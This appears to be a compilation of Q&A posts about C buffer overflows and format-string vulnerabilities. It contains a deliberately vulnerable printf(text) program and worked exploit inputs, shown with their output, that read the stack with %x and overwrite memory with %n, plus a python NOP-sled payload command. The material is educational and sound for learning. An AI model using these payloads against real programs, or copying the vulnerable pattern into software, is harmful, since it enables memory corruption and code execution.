I understand snprintf should not result in buffer overflow. But still why does the tool raise this complaint?
Often I have seen analysis tool's complaints are pedantically real, yet the tool points to the wrong original culprit.
Code has at least this weakness
Potential junk in timebuf[]
char timebuf[20];
// Enough space?
strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime);
As adjustedtime->tm_year, an int, may have values in the range -2147483648 ... 2147483647, more than size 20 needed.
Avoid under sizing. Recommend:
#define INT_TEXT_LENGTH_MAX 11
char timebuf[6*INT_TEXT_LENGTH_MAX + sizeof "%Y-%m-%d %H:%M:%S"];
Further, it the buffer is not big enough, then:
If the total number of resulting characters including the terminating null character is not more than maxsize, the
strftimefunction returns the number of characters placed into the array pointed to by s not including the terminating null character. Otherwise, zero is returned and the contents of the array are indeterminate. C17dr § 7.27.3.5 Library 8
Thus an analysis tool can assume any content for timebuf[] including a non-string following an unchecked strftime(). That can easily break snprintf(gendata, sizeof(gendata), "%s", timebuf); as "%s" requires a string, which timebuf[] is not guarantied to be. The sizeof(gendata) in snprintf(gendata, sizeof(gendata), ... is not sufficient to prevent UB of an unterminated timebuf[].
Better code would also check the size.
struct tm *adjustedtime = localtime(&t);
if (adjustedtime == NULL) {
Handle_Error();
}
if (strftime(timebuf, sizeof(timebuf),"%Y-%m-%d %H:%M:%S", adjustedtime) == 0) {
Handle_Error();
}
Now we can continue with snprintf() code.
Help understanding python bytestrings (in relation to Buffer Overflow)
Buffer Overflow: Format String - Stack Overflow
c - How can a Format-String vulnerability be exploited? - Stack Overflow
exploit - How to generate payload with python for buffer overflow? - Stack Overflow
Videos
Hello everyone,
I'm working on a buffer overflow assignment for university and one of the best ways to inject the payload appears to be using python from the command line like so:
$ ./program $(python2 -c 'print("\x90"*150 + "\x00\x00\xff\xff")')In python2, this works perfectly to inject the specific bytes in hex code. However, I'm trying to perform a more advanced exploit and need to use pwntools and preferably python3.
The problem is, when I try to use python3, I can't get it to work as intended. For example, \x90 (NOPs) don't work correctly, as detailed here:
https://stackoverflow.com/questions/75423280/python-is-printing-0x90c2-instead-of-just-0x90-nop
It appears that byte strings are the solution, so I tried that. For example, the above code would be changed to:
$ ./program $(python3 -c 'print(b"\x90"*150 + b"\x00\x00\xff\xff")')
However, this ends up causing strange behavior, and upon examining the registers it appears as if the "b'" is being written to the registers as a separate byte. I'm so confused, and I've searched everywhere but I guess I don't know the right question to ask, because I haven't been able to find anything helpful. I thought b"" strings were supposed to be raw bytes, but clearly it's a bit more nuanced than that.
I'd massively appreciate if anyone could explain this to me in layman's terms (I'm certainly not a whiz with low-level stuff) and explain to me how I can inject code using python3 without the "b'" showing up in the registers.
Thanks!
You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):
int main(int argc, char **argv)
{
char text[1024];
static int some_value = -72;
strcpy(text, argv[1]); /* ignore the buffer overflow here */
printf("This is how you print correctly:\n");
printf("%s", text);
printf("This is how not to print:\n");
printf(text);
printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
return(0);
}
The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:
Reading from arbitrary memory addresses
[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.
It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:
./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]
Writing to arbitrary memory addresses
You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:
./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]
We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:
./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]
There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.
Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.
It is interesting that no-one has mentioned the n$ notation supported by POSIX. If you can control the format string as the attacker, you can use notations such as:
"%200$p"
to read the 200th item on the stack (if there is one). The intention is that you should list all the n$ numbers from 1 to the maximum, and it provides a way of resequencing how the parameters appear in a format string, which is handy when dealing with I18N (L10N, G11N, M18N*).
However, some (probably most) systems are somewhat lackadaisical about how they validate the n$ values and this can lead to abuse by attackers who can control the format string. Combined with the %n format specifier, this can lead to writing at pointer locations.
* The acronyms I18N, L10N, G11N and M18N are for internationalization, localization, globalization, and multinationalization respectively. The number represents the number of omitted letters.
The fact that Python and PHP are interpreted like suggested by others isn't actually the point. The point is that almost all of the APIs and language semantics that they expose are heavily error-checked making it impossible to have exploitable undefined behavior. Even if you compile the languages, it would still be impossible. This doesn't mean that you couldn't expose unsafe APIs that can do whatever. In fact, using Pythons ctypes module, it should be possible to create a similar behavior, but significantly harder to do so by accident.
As PHP is a scripting language and has no pointers and the string type is binary-safe such things won't work in PHP.
But why would you want to do such a thing?
(oh, there might be bugs in PHP resulting in a buffer overflow, but that's nothing that canbe relied upon in any way and usually is fixed quite ffast...)